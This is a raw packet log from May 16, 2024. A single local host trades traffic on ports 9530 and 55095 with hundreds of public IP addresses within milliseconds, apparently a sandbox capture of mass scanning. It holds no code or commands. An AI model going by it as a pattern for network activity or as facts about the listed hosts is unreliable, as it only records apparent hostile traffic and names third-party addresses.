May 16, 2024 16:38:49.974883080 CEST	9530	55095	186.119.169.250	192.168.2.23
May 16, 2024 16:38:49.974891901 CEST	9530	55095	20.75.171.251	192.168.2.23
May 16, 2024 16:38:49.974896908 CEST	55095	9530	192.168.2.23	111.237.98.121
May 16, 2024 16:38:49.974896908 CEST	55095	9530	192.168.2.23	92.33.82.176
May 16, 2024 16:38:49.974896908 CEST	55095	9530	192.168.2.23	191.28.101.197
May 16, 2024 16:38:49.974901915 CEST	9530	55095	5.57.177.251	192.168.2.23
May 16, 2024 16:38:49.974905014 CEST	55095	9530	192.168.2.23	73.20.90.6
May 16, 2024 16:38:49.974910021 CEST	55095	9530	192.168.2.23	186.119.169.250
May 16, 2024 16:38:49.974912882 CEST	9530	55095	178.105.58.35	192.168.2.23
May 16, 2024 16:38:49.974919081 CEST	55095	9530	192.168.2.23	20.75.171.251
May 16, 2024 16:38:49.974925041 CEST	9530	55095	145.92.2.172	192.168.2.23
May 16, 2024 16:38:49.974935055 CEST	9530	55095	108.70.74.111	192.168.2.23
May 16, 2024 16:38:49.974945068 CEST	9530	55095	145.90.248.102	192.168.2.23
May 16, 2024 16:38:49.974952936 CEST	9530	55095	209.150.161.133	192.168.2.23
May 16, 2024 16:38:49.974961996 CEST	9530	55095	24.10.106.95	192.168.2.23
May 16, 2024 16:38:49.974961996 CEST	55095	9530	192.168.2.23	145.92.2.172
May 16, 2024 16:38:49.974961996 CEST	55095	9530	192.168.2.23	5.57.177.251
May 16, 2024 16:38:49.974961996 CEST	55095	9530	192.168.2.23	178.105.58.35
May 16, 2024 16:38:49.974972963 CEST	9530	55095	132.22.213.207	192.168.2.23
May 16, 2024 16:38:49.974975109 CEST	55095	9530	192.168.2.23	108.70.74.111
May 16, 2024 16:38:49.974983931 CEST	9530	55095	157.127.117.218	192.168.2.23
May 16, 2024 16:38:49.974996090 CEST	9530	55095	179.10.193.17	192.168.2.23
May 16, 2024 16:38:49.975004911 CEST	9530	55095	131.180.224.181	192.168.2.23
May 16, 2024 16:38:49.975013018 CEST	9530	55095	24.158.161.56	192.168.2.23
May 16, 2024 16:38:49.975023985 CEST	9530	55095	134.203.18.114	192.168.2.23
May 16, 2024 16:38:49.975032091 CEST	55095	9530	192.168.2.23	209.150.161.133
May 16, 2024 16:38:49.975033998 CEST	55095	9530	192.168.2.23	132.22.213.207
May 16, 2024 16:38:49.975035906 CEST	9530	55095	32.55.91.42	192.168.2.23
May 16, 2024 16:38:49.975039005 CEST	55095	9530	192.168.2.23	24.10.106.95
May 16, 2024 16:38:49.975045919 CEST	9530	55095	99.17.151.9	192.168.2.23
May 16, 2024 16:38:49.975049973 CEST	55095	9530	192.168.2.23	145.90.248.102
May 16, 2024 16:38:49.975053072 CEST	55095	9530	192.168.2.23	131.180.224.181
May 16, 2024 16:38:49.975054979 CEST	9530	55095	172.195.249.148	192.168.2.23
May 16, 2024 16:38:49.975058079 CEST	55095	9530	192.168.2.23	157.127.117.218
May 16, 2024 16:38:49.975063086 CEST	9530	55095	204.253.119.132	192.168.2.23
May 16, 2024 16:38:49.975073099 CEST	55095	9530	192.168.2.23	179.10.193.17
May 16, 2024 16:38:49.975073099 CEST	55095	9530	192.168.2.23	172.195.249.148
May 16, 2024 16:38:49.975074053 CEST	55095	9530	192.168.2.23	134.203.18.114
May 16, 2024 16:38:49.975075960 CEST	9530	55095	47.154.117.176	192.168.2.23
May 16, 2024 16:38:49.975075960 CEST	55095	9530	192.168.2.23	99.17.151.9
May 16, 2024 16:38:49.975086927 CEST	9530	55095	40.106.95.207	192.168.2.23
May 16, 2024 16:38:49.975095987 CEST	55095	9530	192.168.2.23	32.55.91.42
May 16, 2024 16:38:49.975095987 CEST	55095	9530	192.168.2.23	24.158.161.56
May 16, 2024 16:38:49.975095987 CEST	55095	9530	192.168.2.23	204.253.119.132
May 16, 2024 16:38:49.975095987 CEST	55095	9530	192.168.2.23	47.154.117.176
May 16, 2024 16:38:49.975097895 CEST	9530	55095	109.9.195.27	192.168.2.23
May 16, 2024 16:38:49.975106001 CEST	9530	55095	91.33.52.173	192.168.2.23
May 16, 2024 16:38:49.975112915 CEST	55095	9530	192.168.2.23	40.106.95.207
May 16, 2024 16:38:49.975116014 CEST	9530	55095	174.134.137.165	192.168.2.23
May 16, 2024 16:38:49.975126982 CEST	9530	55095	102.209.157.244	192.168.2.23
May 16, 2024 16:38:49.975136995 CEST	9530	55095	167.137.13.239	192.168.2.23
May 16, 2024 16:38:49.975137949 CEST	55095	9530	192.168.2.23	109.9.195.27
May 16, 2024 16:38:49.975147009 CEST	9530	55095	208.156.206.62	192.168.2.23
May 16, 2024 16:38:49.975153923 CEST	55095	9530	192.168.2.23	174.134.137.165
May 16, 2024 16:38:49.975157022 CEST	9530	55095	187.186.69.44	192.168.2.23
May 16, 2024 16:38:49.975157976 CEST	55095	9530	192.168.2.23	91.33.52.173
May 16, 2024 16:38:49.975157976 CEST	55095	9530	192.168.2.23	102.209.157.244
May 16, 2024 16:38:49.975166082 CEST	9530	55095	60.66.77.105	192.168.2.23
May 16, 2024 16:38:49.975171089 CEST	9530	55095	190.159.212.250	192.168.2.23
May 16, 2024 16:38:49.975174904 CEST	9530	55095	221.159.132.130	192.168.2.23
May 16, 2024 16:38:49.975181103 CEST	9530	55095	148.180.66.188	192.168.2.23
May 16, 2024 16:38:49.975184917 CEST	9530	55095	54.83.57.105	192.168.2.23
May 16, 2024 16:38:49.975189924 CEST	9530	55095	143.135.193.210	192.168.2.23
May 16, 2024 16:38:49.975198984 CEST	9530	55095	134.253.154.9	192.168.2.23
May 16, 2024 16:38:49.975208998 CEST	9530	55095	94.248.252.73	192.168.2.23
May 16, 2024 16:38:49.975219011 CEST	9530	55095	87.236.87.163	192.168.2.23
May 16, 2024 16:38:49.975228071 CEST	55095	9530	192.168.2.23	190.159.212.250
May 16, 2024 16:38:49.975230932 CEST	55095	9530	192.168.2.23	167.137.13.239
May 16, 2024 16:38:49.975238085 CEST	55095	9530	192.168.2.23	60.66.77.105
May 16, 2024 16:38:49.975238085 CEST	55095	9530	192.168.2.23	221.159.132.130
May 16, 2024 16:38:49.975238085 CEST	55095	9530	192.168.2.23	148.180.66.188
May 16, 2024 16:38:49.975238085 CEST	55095	9530	192.168.2.23	54.83.57.105
May 16, 2024 16:38:49.975236893 CEST	55095	9530	192.168.2.23	208.156.206.62
May 16, 2024 16:38:49.975241899 CEST	55095	9530	192.168.2.23	94.248.252.73
May 16, 2024 16:38:49.975236893 CEST	55095	9530	192.168.2.23	187.186.69.44
May 16, 2024 16:38:49.975236893 CEST	55095	9530	192.168.2.23	87.236.87.163
May 16, 2024 16:38:49.975250959 CEST	55095	9530	192.168.2.23	143.135.193.210
May 16, 2024 16:38:49.975260019 CEST	55095	9530	192.168.2.23	134.253.154.9
May 16, 2024 16:38:49.978238106 CEST	9530	55095	77.107.164.56	192.168.2.23
May 16, 2024 16:38:49.978250980 CEST	9530	55095	191.251.224.216	192.168.2.23
May 16, 2024 16:38:49.978260994 CEST	9530	55095	122.180.166.193	192.168.2.23
May 16, 2024 16:38:49.978271961 CEST	9530	55095	196.165.66.60	192.168.2.23
May 16, 2024 16:38:49.978281975 CEST	9530	55095	184.167.167.246	192.168.2.23
May 16, 2024 16:38:49.978291035 CEST	9530	55095	86.13.3.212	192.168.2.23
May 16, 2024 16:38:49.978301048 CEST	55095	9530	192.168.2.23	77.107.164.56
May 16, 2024 16:38:49.978302002 CEST	9530	55095	19.170.100.253	192.168.2.23
May 16, 2024 16:38:49.978301048 CEST	55095	9530	192.168.2.23	122.180.166.193
May 16, 2024 16:38:49.978315115 CEST	9530	55095	60.125.181.192	192.168.2.23
May 16, 2024 16:38:49.978316069 CEST	55095	9530	192.168.2.23	196.165.66.60
May 16, 2024 16:38:49.978316069 CEST	55095	9530	192.168.2.23	191.251.224.216
May 16, 2024 16:38:49.978326082 CEST	9530	55095	25.214.116.13	192.168.2.23
May 16, 2024 16:38:49.978336096 CEST	9530	55095	185.224.47.233	192.168.2.23
May 16, 2024 16:38:49.978346109 CEST	9530	55095	220.119.231.37	192.168.2.23
May 16, 2024 16:38:49.978347063 CEST	55095	9530	192.168.2.23	184.167.167.246
May 16, 2024 16:38:49.978347063 CEST	55095	9530	192.168.2.23	60.125.181.192
May 16, 2024 16:38:49.978357077 CEST	9530	55095	117.44.180.220	192.168.2.23
May 16, 2024 16:38:49.978367090 CEST	9530	55095	130.53.201.30	192.168.2.23
May 16, 2024 16:38:49.978368044 CEST	55095	9530	192.168.2.23	19.170.100.253
May 16, 2024 16:38:49.978368044 CEST	55095	9530	192.168.2.23	185.224.47.233
May 16, 2024 16:38:49.978368998 CEST	55095	9530	192.168.2.23	220.119.231.37
May 16, 2024 16:38:49.978372097 CEST	55095	9530	192.168.2.23	86.13.3.212
May 16, 2024 16:38:49.978372097 CEST	55095	9530	192.168.2.23	25.214.116.13
May 16, 2024 16:38:49.978377104 CEST	9530	55095	189.117.105.165	192.168.2.23
May 16, 2024 16:38:49.978389025 CEST	9530	55095	99.75.153.104	192.168.2.23
May 16, 2024 16:38:49.978399038 CEST	9530	55095	34.229.202.204	192.168.2.23
May 16, 2024 16:38:49.978399992 CEST	55095	9530	192.168.2.23	117.44.180.220
May 16, 2024 16:38:49.978409052 CEST	9530	55095	204.248.254.176	192.168.2.23
May 16, 2024 16:38:49.978410006 CEST	55095	9530	192.168.2.23	99.75.153.104
May 16, 2024 16:38:49.978420973 CEST	9530	55095	149.16.85.103	192.168.2.23
May 16, 2024 16:38:49.978432894 CEST	9530	55095	72.48.212.87	192.168.2.23
May 16, 2024 16:38:49.978434086 CEST	55095	9530	192.168.2.23	189.117.105.165
May 16, 2024 16:38:49.978439093 CEST	55095	9530	192.168.2.23	130.53.201.30
May 16, 2024 16:38:49.978439093 CEST	55095	9530	192.168.2.23	204.248.254.176
May 16, 2024 16:38:49.978439093 CEST	55095	9530	192.168.2.23	34.229.202.204
May 16, 2024 16:38:49.978444099 CEST	9530	55095	187.122.9.184	192.168.2.23
May 16, 2024 16:38:49.978449106 CEST	55095	9530	192.168.2.23	149.16.85.103
May 16, 2024 16:38:49.978454113 CEST	9530	55095	116.27.163.79	192.168.2.23
May 16, 2024 16:38:49.978465080 CEST	9530	55095	205.99.32.67	192.168.2.23
May 16, 2024 16:38:49.978477001 CEST	9530	55095	51.88.71.159	192.168.2.23
May 16, 2024 16:38:49.978482008 CEST	55095	9530	192.168.2.23	72.48.212.87
May 16, 2024 16:38:49.978486061 CEST	55095	9530	192.168.2.23	187.122.9.184
May 16, 2024 16:38:49.978490114 CEST	9530	55095	123.77.160.163	192.168.2.23
May 16, 2024 16:38:49.978503942 CEST	9530	55095	51.101.246.205	192.168.2.23
May 16, 2024 16:38:49.978518009 CEST	55095	9530	192.168.2.23	205.99.32.67
May 16, 2024 16:38:49.978519917 CEST	9530	55095	124.153.59.161	192.168.2.23
May 16, 2024 16:38:49.978528023 CEST	55095	9530	192.168.2.23	116.27.163.79
May 16, 2024 16:38:49.978528023 CEST	55095	9530	192.168.2.23	51.88.71.159
May 16, 2024 16:38:49.978532076 CEST	9530	55095	44.167.68.204	192.168.2.23
May 16, 2024 16:38:49.978542089 CEST	9530	55095	63.33.25.209	192.168.2.23
May 16, 2024 16:38:49.978553057 CEST	9530	55095	44.156.148.21	192.168.2.23
May 16, 2024 16:38:49.978557110 CEST	55095	9530	192.168.2.23	123.77.160.163
May 16, 2024 16:38:49.978563070 CEST	55095	9530	192.168.2.23	124.153.59.161
May 16, 2024 16:38:49.978563070 CEST	55095	9530	192.168.2.23	51.101.246.205
May 16, 2024 16:38:49.978564978 CEST	9530	55095	42.136.193.35	192.168.2.23
May 16, 2024 16:38:49.978575945 CEST	9530	55095	134.203.66.222	192.168.2.23
May 16, 2024 16:38:49.978586912 CEST	9530	55095	31.233.83.80	192.168.2.23
May 16, 2024 16:38:49.978586912 CEST	55095	9530	192.168.2.23	44.156.148.21
May 16, 2024 16:38:49.978598118 CEST	9530	55095	151.166.165.197	192.168.2.23
May 16, 2024 16:38:49.978610039 CEST	9530	55095	125.241.104.76	192.168.2.23
May 16, 2024 16:38:49.978614092 CEST	55095	9530	192.168.2.23	44.167.68.204
May 16, 2024 16:38:49.978614092 CEST	55095	9530	192.168.2.23	42.136.193.35
May 16, 2024 16:38:49.978615046 CEST	55095	9530	192.168.2.23	63.33.25.209
May 16, 2024 16:38:49.978619099 CEST	9530	55095	151.164.64.223	192.168.2.23
May 16, 2024 16:38:49.978631020 CEST	9530	55095	113.109.34.192	192.168.2.23
May 16, 2024 16:38:49.978635073 CEST	55095	9530	192.168.2.23	151.166.165.197
May 16, 2024 16:38:49.978640079 CEST	55095	9530	192.168.2.23	134.203.66.222
May 16, 2024 16:38:49.978640079 CEST	55095	9530	192.168.2.23	31.233.83.80
May 16, 2024 16:38:49.978641987 CEST	9530	55095	59.168.65.42	192.168.2.23
May 16, 2024 16:38:49.978652954 CEST	9530	55095	52.53.86.96	192.168.2.23
May 16, 2024 16:38:49.978657961 CEST	55095	9530	192.168.2.23	125.241.104.76
May 16, 2024 16:38:49.978662968 CEST	9530	55095	105.95.122.88	192.168.2.23
May 16, 2024 16:38:49.978673935 CEST	9530	55095	129.115.0.225	192.168.2.23
May 16, 2024 16:38:49.978679895 CEST	55095	9530	192.168.2.23	59.168.65.42
May 16, 2024 16:38:49.978679895 CEST	55095	9530	192.168.2.23	151.164.64.223
May 16, 2024 16:38:49.978684902 CEST	9530	55095	132.41.141.115	192.168.2.23
May 16, 2024 16:38:49.978696108 CEST	55095	9530	192.168.2.23	105.95.122.88
May 16, 2024 16:38:49.978703022 CEST	55095	9530	192.168.2.23	129.115.0.225
May 16, 2024 16:38:49.978707075 CEST	55095	9530	192.168.2.23	132.41.141.115
May 16, 2024 16:38:49.978732109 CEST	55095	9530	192.168.2.23	113.109.34.192
May 16, 2024 16:38:49.978732109 CEST	55095	9530	192.168.2.23	52.53.86.96
May 16, 2024 16:38:49.981628895 CEST	9530	55095	121.78.80.153	192.168.2.23
May 16, 2024 16:38:49.981641054 CEST	9530	55095	65.174.106.35	192.168.2.23
May 16, 2024 16:38:49.981651068 CEST	9530	55095	222.248.238.17	192.168.2.23
May 16, 2024 16:38:49.981663942 CEST	9530	55095	180.106.18.140	192.168.2.23
May 16, 2024 16:38:49.981673956 CEST	9530	55095	151.249.54.113	192.168.2.23
May 16, 2024 16:38:49.981678009 CEST	55095	9530	192.168.2.23	65.174.106.35
May 16, 2024 16:38:49.981678009 CEST	55095	9530	192.168.2.23	121.78.80.153
May 16, 2024 16:38:49.981678009 CEST	55095	9530	192.168.2.23	222.248.238.17
May 16, 2024 16:38:49.981683016 CEST	9530	55095	155.50.179.139	192.168.2.23
May 16, 2024 16:38:49.981693983 CEST	9530	55095	90.190.199.98	192.168.2.23
May 16, 2024 16:38:49.981703997 CEST	9530	55095	92.113.208.56	192.168.2.23
May 16, 2024 16:38:49.981707096 CEST	55095	9530	192.168.2.23	180.106.18.140
May 16, 2024 16:38:49.981713057 CEST	55095	9530	192.168.2.23	151.249.54.113
May 16, 2024 16:38:49.981713057 CEST	55095	9530	192.168.2.23	155.50.179.139
May 16, 2024 16:38:49.981714964 CEST	9530	55095	162.95.156.124	192.168.2.23
May 16, 2024 16:38:49.981726885 CEST	9530	55095	149.241.55.235	192.168.2.23
May 16, 2024 16:38:49.981738091 CEST	9530	55095	158.227.4.218	192.168.2.23
May 16, 2024 16:38:49.981745958 CEST	9530	55095	159.159.52.243	192.168.2.23
May 16, 2024 16:38:49.981756926 CEST	9530	55095	103.161.101.203	192.168.2.23
May 16, 2024 16:38:49.981766939 CEST	9530	55095	12.101.23.57	192.168.2.23
May 16, 2024 16:38:49.981785059 CEST	9530	55095	194.6.163.208	192.168.2.23
May 16, 2024 16:38:49.981790066 CEST	9530	55095	4.64.23.205	192.168.2.23
May 16, 2024 16:38:49.981800079 CEST	9530	55095	202.132.246.85	192.168.2.23
May 16, 2024 16:38:49.981803894 CEST	9530	55095	196.29.85.100	192.168.2.23
May 16, 2024 16:38:49.981808901 CEST	9530	55095	82.68.185.104	192.168.2.23
May 16, 2024 16:38:49.981813908 CEST	9530	55095	196.97.177.77	192.168.2.23
May 16, 2024 16:38:49.981813908 CEST	55095	9530	192.168.2.23	90.190.199.98
May 16, 2024 16:38:49.981813908 CEST	55095	9530	192.168.2.23	92.113.208.56
May 16, 2024 16:38:49.981813908 CEST	55095	9530	192.168.2.23	162.95.156.124
May 16, 2024 16:38:49.981813908 CEST	55095	9530	192.168.2.23	149.241.55.235
May 16, 2024 16:38:49.981813908 CEST	55095	9530	192.168.2.23	158.227.4.218
May 16, 2024 16:38:49.981816053 CEST	55095	9530	192.168.2.23	159.159.52.243
May 16, 2024 16:38:49.981816053 CEST	55095	9530	192.168.2.23	103.161.101.203
May 16, 2024 16:38:49.981816053 CEST	55095	9530	192.168.2.23	12.101.23.57
May 16, 2024 16:38:49.981822014 CEST	55095	9530	192.168.2.23	194.6.163.208
May 16, 2024 16:38:49.981823921 CEST	9530	55095	40.9.35.143	192.168.2.23
May 16, 2024 16:38:49.981833935 CEST	9530	55095	57.110.178.148	192.168.2.23
May 16, 2024 16:38:49.981841087 CEST	55095	9530	192.168.2.23	4.64.23.205
May 16, 2024 16:38:49.981841087 CEST	55095	9530	192.168.2.23	196.29.85.100
May 16, 2024 16:38:49.981842995 CEST	55095	9530	192.168.2.23	82.68.185.104
May 16, 2024 16:38:49.981842995 CEST	55095	9530	192.168.2.23	40.9.35.143
May 16, 2024 16:38:49.981847048 CEST	9530	55095	90.253.69.25	192.168.2.23
May 16, 2024 16:38:49.981854916 CEST	55095	9530	192.168.2.23	202.132.246.85
May 16, 2024 16:38:49.981859922 CEST	9530	55095	143.30.189.137	192.168.2.23
May 16, 2024 16:38:49.981864929 CEST	55095	9530	192.168.2.23	57.110.178.148
May 16, 2024 16:38:49.981870890 CEST	55095	9530	192.168.2.23	196.97.177.77
May 16, 2024 16:38:49.981873989 CEST	9530	55095	203.167.110.37	192.168.2.23
May 16, 2024 16:38:49.981874943 CEST	55095	9530	192.168.2.23	90.253.69.25
May 16, 2024 16:38:49.981894016 CEST	9530	55095	83.181.202.132	192.168.2.23
May 16, 2024 16:38:49.981904984 CEST	9530	55095	219.56.87.66	192.168.2.23
May 16, 2024 16:38:49.981915951 CEST	9530	55095	31.155.235.57	192.168.2.23
May 16, 2024 16:38:49.981925964 CEST	9530	55095	153.98.159.8	192.168.2.23
May 16, 2024 16:38:49.981936932 CEST	9530	55095	38.14.227.193	192.168.2.23
May 16, 2024 16:38:49.981954098 CEST	9530	55095	190.194.231.44	192.168.2.23
May 16, 2024 16:38:49.981962919 CEST	9530	55095	156.163.193.251	192.168.2.23
May 16, 2024 16:38:49.981967926 CEST	9530	55095	25.188.238.146	192.168.2.23
May 16, 2024 16:38:49.981971979 CEST	9530	55095	176.173.61.137	192.168.2.23
May 16, 2024 16:38:49.981976986 CEST	9530	55095	68.77.21.217	192.168.2.23
May 16, 2024 16:38:49.981976986 CEST	55095	9530	192.168.2.23	83.181.202.132
May 16, 2024 16:38:49.981980085 CEST	55095	9530	192.168.2.23	219.56.87.66
May 16, 2024 16:38:49.981980085 CEST	55095	9530	192.168.2.23	143.30.189.137
May 16, 2024 16:38:49.981981039 CEST	55095	9530	192.168.2.23	203.167.110.37
May 16, 2024 16:38:49.981981039 CEST	9530	55095	76.46.78.45	192.168.2.23
May 16, 2024 16:38:49.981981039 CEST	55095	9530	192.168.2.23	38.14.227.193
May 16, 2024 16:38:49.981985092 CEST	55095	9530	192.168.2.23	153.98.159.8
May 16, 2024 16:38:49.981988907 CEST	9530	55095	141.74.145.114	192.168.2.23
May 16, 2024 16:38:49.981998920 CEST	9530	55095	89.250.29.120	192.168.2.23
May 16, 2024 16:38:49.982007027 CEST	55095	9530	192.168.2.23	31.155.235.57
May 16, 2024 16:38:49.982009888 CEST	55095	9530	192.168.2.23	156.163.193.251
May 16, 2024 16:38:49.982009888 CEST	55095	9530	192.168.2.23	68.77.21.217
May 16, 2024 16:38:49.982014894 CEST	9530	55095	119.96.199.6	192.168.2.23
May 16, 2024 16:38:49.982023954 CEST	55095	9530	192.168.2.23	176.173.61.137
May 16, 2024 16:38:49.982026100 CEST	55095	9530	192.168.2.23	89.250.29.120
May 16, 2024 16:38:49.982027054 CEST	9530	55095	159.107.21.62	192.168.2.23
May 16, 2024 16:38:49.982029915 CEST	55095	9530	192.168.2.23	190.194.231.44
May 16, 2024 16:38:49.982034922 CEST	55095	9530	192.168.2.23	25.188.238.146
May 16, 2024 16:38:49.982034922 CEST	55095	9530	192.168.2.23	76.46.78.45
May 16, 2024 16:38:49.982037067 CEST	55095	9530	192.168.2.23	141.74.145.114
May 16, 2024 16:38:49.982050896 CEST	55095	9530	192.168.2.23	119.96.199.6
May 16, 2024 16:38:49.982057095 CEST	55095	9530	192.168.2.23	159.107.21.62
May 16, 2024 16:38:49.985018015 CEST	9530	55095	217.141.27.37	192.168.2.23
May 16, 2024 16:38:49.985032082 CEST	9530	55095	138.135.76.201	192.168.2.23
May 16, 2024 16:38:49.985042095 CEST	9530	55095	18.183.114.113	192.168.2.23
May 16, 2024 16:38:49.985053062 CEST	9530	55095	36.59.22.58	192.168.2.23
May 16, 2024 16:38:49.985063076 CEST	9530	55095	198.73.110.197	192.168.2.23
May 16, 2024 16:38:49.985073090 CEST	9530	55095	194.236.190.178	192.168.2.23
May 16, 2024 16:38:49.985084057 CEST	9530	55095	17.173.188.102	192.168.2.23
May 16, 2024 16:38:49.985088110 CEST	55095	9530	192.168.2.23	138.135.76.201
May 16, 2024 16:38:49.985093117 CEST	55095	9530	192.168.2.23	18.183.114.113
May 16, 2024 16:38:49.985095978 CEST	9530	55095	180.26.195.67	192.168.2.23
May 16, 2024 16:38:49.985109091 CEST	9530	55095	154.144.250.178	192.168.2.23
May 16, 2024 16:38:49.985110044 CEST	55095	9530	192.168.2.23	194.236.190.178
May 16, 2024 16:38:49.985119104 CEST	55095	9530	192.168.2.23	198.73.110.197
May 16, 2024 16:38:49.985119104 CEST	55095	9530	192.168.2.23	217.141.27.37
May 16, 2024 16:38:49.985119104 CEST	55095	9530	192.168.2.23	17.173.188.102
May 16, 2024 16:38:49.985120058 CEST	9530	55095	213.220.196.201	192.168.2.23
May 16, 2024 16:38:49.985131025 CEST	9530	55095	144.129.225.248	192.168.2.23
May 16, 2024 16:38:49.985141039 CEST	9530	55095	2.223.31.167	192.168.2.23
May 16, 2024 16:38:49.985148907 CEST	55095	9530	192.168.2.23	36.59.22.58
May 16, 2024 16:38:49.985148907 CEST	55095	9530	192.168.2.23	180.26.195.67
May 16, 2024 16:38:49.985152006 CEST	9530	55095	36.42.34.231	192.168.2.23
May 16, 2024 16:38:49.985162020 CEST	9530	55095	213.153.173.230	192.168.2.23
May 16, 2024 16:38:49.985169888 CEST	55095	9530	192.168.2.23	213.220.196.201
May 16, 2024 16:38:49.985172033 CEST	9530	55095	128.96.10.30	192.168.2.23
May 16, 2024 16:38:49.985182047 CEST	9530	55095	210.124.73.121	192.168.2.23
May 16, 2024 16:38:49.985192060 CEST	9530	55095	123.95.251.132	192.168.2.23
May 16, 2024 16:38:49.985203981 CEST	9530	55095	50.38.106.72	192.168.2.23
May 16, 2024 16:38:49.985213995 CEST	9530	55095	216.193.157.26	192.168.2.23
May 16, 2024 16:38:49.985228062 CEST	9530	55095	177.118.237.20	192.168.2.23
May 16, 2024 16:38:49.985232115 CEST	55095	9530	192.168.2.23	213.153.173.230
May 16, 2024 16:38:49.985236883 CEST	9530	55095	61.254.218.4	192.168.2.23
May 16, 2024 16:38:49.985243082 CEST	55095	9530	192.168.2.23	154.144.250.178
May 16, 2024 16:38:49.985243082 CEST	55095	9530	192.168.2.23	216.193.157.26
May 16, 2024 16:38:49.985243082 CEST	55095	9530	192.168.2.23	2.223.31.167
May 16, 2024 16:38:49.985243082 CEST	55095	9530	192.168.2.23	128.96.10.30
May 16, 2024 16:38:49.985248089 CEST	9530	55095	216.96.142.47	192.168.2.23
May 16, 2024 16:38:49.985246897 CEST	55095	9530	192.168.2.23	210.124.73.121
May 16, 2024 16:38:49.985250950 CEST	55095	9530	192.168.2.23	144.129.225.248
May 16, 2024 16:38:49.985250950 CEST	55095	9530	192.168.2.23	36.42.34.231
May 16, 2024 16:38:49.985258102 CEST	9530	55095	74.125.25.35	192.168.2.23
May 16, 2024 16:38:49.985270023 CEST	55095	9530	192.168.2.23	123.95.251.132
May 16, 2024 16:38:49.985270023 CEST	9530	55095	112.135.164.102	192.168.2.23
May 16, 2024 16:38:49.985282898 CEST	9530	55095	112.165.234.103	192.168.2.23
May 16, 2024 16:38:49.985285997 CEST	55095	9530	192.168.2.23	50.38.106.72
May 16, 2024 16:38:49.985291958 CEST	55095	9530	192.168.2.23	61.254.218.4
May 16, 2024 16:38:49.985301018 CEST	9530	55095	54.160.162.172	192.168.2.23
May 16, 2024 16:38:49.985305071 CEST	55095	9530	192.168.2.23	177.118.237.20
May 16, 2024 16:38:49.985305071 CEST	55095	9530	192.168.2.23	74.125.25.35
May 16, 2024 16:38:49.985306025 CEST	55095	9530	192.168.2.23	112.135.164.102
May 16, 2024 16:38:49.985313892 CEST	9530	55095	118.248.54.6	192.168.2.23
May 16, 2024 16:38:49.985317945 CEST	55095	9530	192.168.2.23	216.96.142.47
May 16, 2024 16:38:49.985317945 CEST	55095	9530	192.168.2.23	112.165.234.103
May 16, 2024 16:38:49.985325098 CEST	9530	55095	25.194.4.250	192.168.2.23
May 16, 2024 16:38:49.985337019 CEST	9530	55095	202.204.8.177	192.168.2.23
May 16, 2024 16:38:49.985351086 CEST	9530	55095	13.78.240.101	192.168.2.23
May 16, 2024 16:38:49.985359907 CEST	9530	55095	186.67.164.32	192.168.2.23
May 16, 2024 16:38:49.985363960 CEST	55095	9530	192.168.2.23	54.160.162.172
May 16, 2024 16:38:49.985369921 CEST	55095	9530	192.168.2.23	118.248.54.6
May 16, 2024 16:38:49.985371113 CEST	9530	55095	50.166.176.83	192.168.2.23
May 16, 2024 16:38:49.985377073 CEST	55095	9530	192.168.2.23	25.194.4.250
May 16, 2024 16:38:49.985382080 CEST	9530	55095	219.121.75.137	192.168.2.23
May 16, 2024 16:38:49.985388041 CEST	9530	55095	153.151.14.77	192.168.2.23
May 16, 2024 16:38:49.985392094 CEST	9530	55095	73.165.222.169	192.168.2.23
May 16, 2024 16:38:49.985395908 CEST	9530	55095	91.11.126.236	192.168.2.23
May 16, 2024 16:38:49.985399008 CEST	9530	55095	137.62.84.215	192.168.2.23
May 16, 2024 16:38:49.985403061 CEST	9530	55095	19.61.35.102	192.168.2.23
May 16, 2024 16:38:49.985405922 CEST	9530	55095	24.67.5.165	192.168.2.23
May 16, 2024 16:38:49.985409975 CEST	9530	55095	103.37.208.199	192.168.2.23
May 16, 2024 16:38:49.985413074 CEST	9530	55095	211.38.137.223	192.168.2.23
May 16, 2024 16:38:49.985466003 CEST	55095	9530	192.168.2.23	13.78.240.101
May 16, 2024 16:38:49.985466957 CEST	55095	9530	192.168.2.23	202.204.8.177
May 16, 2024 16:38:49.985496044 CEST	55095	9530	192.168.2.23	186.67.164.32
May 16, 2024 16:38:49.985507011 CEST	55095	9530	192.168.2.23	153.151.14.77
May 16, 2024 16:38:49.985512972 CEST	55095	9530	192.168.2.23	137.62.84.215
May 16, 2024 16:38:49.985512972 CEST	55095	9530	192.168.2.23	211.38.137.223
May 16, 2024 16:38:49.985527992 CEST	55095	9530	192.168.2.23	19.61.35.102
May 16, 2024 16:38:49.985533953 CEST	55095	9530	192.168.2.23	103.37.208.199
May 16, 2024 16:38:49.985533953 CEST	55095	9530	192.168.2.23	219.121.75.137
May 16, 2024 16:38:49.985533953 CEST	55095	9530	192.168.2.23	24.67.5.165
May 16, 2024 16:38:49.985538960 CEST	55095	9530	192.168.2.23	50.166.176.83
May 16, 2024 16:38:49.985538960 CEST	55095	9530	192.168.2.23	73.165.222.169
May 16, 2024 16:38:49.985541105 CEST	55095	9530	192.168.2.23	91.11.126.236
May 16, 2024 16:38:49.988441944 CEST	9530	55095	123.79.88.26	192.168.2.23
May 16, 2024 16:38:49.988454103 CEST	9530	55095	73.53.58.139	192.168.2.23
May 16, 2024 16:38:49.988461971 CEST	9530	55095	59.211.44.107	192.168.2.23
May 16, 2024 16:38:49.988476992 CEST	9530	55095	121.216.95.0	192.168.2.23
May 16, 2024 16:38:49.988486052 CEST	9530	55095	42.148.18.193	192.168.2.23
May 16, 2024 16:38:49.988493919 CEST	9530	55095	31.18.16.100	192.168.2.23
May 16, 2024 16:38:49.988504887 CEST	9530	55095	84.151.79.132	192.168.2.23
May 16, 2024 16:38:49.988512993 CEST	9530	55095	139.2.149.205	192.168.2.23
May 16, 2024 16:38:49.988518953 CEST	55095	9530	192.168.2.23	121.216.95.0
May 16, 2024 16:38:49.988523006 CEST	9530	55095	19.167.121.207	192.168.2.23
May 16, 2024 16:38:49.988528013 CEST	55095	9530	192.168.2.23	73.53.58.139
May 16, 2024 16:38:49.988532066 CEST	55095	9530	192.168.2.23	31.18.16.100
May 16, 2024 16:38:49.988533020 CEST	55095	9530	192.168.2.23	59.211.44.107
May 16, 2024 16:38:49.988533974 CEST	55095	9530	192.168.2.23	42.148.18.193
May 16, 2024 16:38:49.988534927 CEST	9530	55095	192.101.78.198	192.168.2.23
May 16, 2024 16:38:49.988533974 CEST	55095	9530	192.168.2.23	123.79.88.26
May 16, 2024 16:38:49.988539934 CEST	55095	9530	192.168.2.23	84.151.79.132
May 16, 2024 16:38:49.988547087 CEST	9530	55095	44.136.243.116	192.168.2.23
